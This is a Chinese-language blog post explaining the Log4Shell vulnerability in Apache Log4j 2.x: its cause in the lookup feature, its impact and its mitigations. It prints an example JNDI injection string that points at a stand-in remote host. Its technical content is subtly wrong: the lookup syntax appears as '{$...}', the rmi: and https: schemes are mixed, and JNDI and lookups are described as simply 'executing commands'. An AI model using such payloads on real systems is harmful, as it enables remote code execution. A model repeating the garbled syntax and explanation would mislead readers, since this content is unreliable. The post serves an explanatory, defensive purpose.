Apache log4j核弹级漏洞,一篇完全理解漏洞原因

2021年12月9日,Log4j组件发生了核弹级别的安全漏洞。作为Java语言程序最普遍使用的组件之一,该次漏洞影响覆盖面之广堪比核弹爆炸;漏洞影响力的大小,从被大家戏称为Log4Shell就可以看出危害之大!

相信圈内的人基本都听到了该消息,也和我一样想弄清楚漏洞究竟是怎么发生的?漏洞的影响范围?能带来什么危害?漏洞的原理是什么?

12月10日,Apache官方也是披露了漏洞的相关详细信息。带着疑问了解了相关信息,分享给大家。

一、漏洞的影响范围?

程序中使用了Apache Log4j 2.x <= 2.14.1 版本,或使用的组件中依赖了该范围版本的log4j,就会收到影响!

二、漏洞产生的原因?

此次漏洞的出现,正是由用于 Log4j 2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。说到这可能还是不太理解,后面会详细说明。

三、能带来什么危害?

此次漏洞的出现,让log4j被戏称为log4Shell。危害就是理论上可以如同shell工具一般,远程在服务器上执行所有的命令!这岂不是起飞?

四、漏洞的原理?

终于到我最关心的漏洞原理部分了。

Log4J提供了支持Java的Lookup功能,可能很多人都不太了解lookup。没关系,只需要支持到lookup可以通过{$xx}的方式来执行一些命令和操作就行。log4j支持在日志中使用该表达式执行命令。下面是log4j使用lookup的简单示例,可以打印系统os信息。

public void test() {
        log.info("{$java:os}");
} 

相必看到上面大家对lookup的功能已有所了解。接下来需要配合JNDI,就可以实现对使用log4j的服务进行攻击了。看到这里又不明白了,JNDI是什么?ok,不重要!知道它的作用就行。

举个例子,平时我们在工作中,希望在服务器执行某个本地接口的功能,此时可以使用在本地机器中执行命令:jndi:rmi:https://xx.xx.com/remote/operate。即可以在服务器上执行该接口的代码逻辑,例如操作文件、数据库增删改查等等操作!

则log4j漏洞同理,攻击者需要通过接口请求让服务的日志中打印如下代码:

public void test() {
        log.info("{$jndi:rmi:https://xx.xx.com/remote/operate}");
}

即可完成在服务器上执行操作文件、数据库增删改查等等操作!

还是不太懂可以看下图:
在这里插入图片描述

攻击者定义一个接口,在接口中定义数据库操作等。
攻击者携带lookup支持表达式进行请求服务器。
服务器通过log4j打印出请求信息。
log4j打印完成后会执行JNDI操作。
这样就解释了漏洞的产生,极其高危!

五、解决方案?

综上所述:关闭lookup或者jndi功能就可以解决,也可以直接升级最新版本。

通过设置系统属性 log4j2.formatMsgNoLookups,或者环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS 为 true 来禁用 lookup 行为。
Apache官方也进行了紧急的修复,升级官方修复版本即可。
了解更多Java知识和热点技术,学习分布式系统,面试经历等,可以关注我的公众号Java码农杂谈哦~

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Java码农杂谈

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值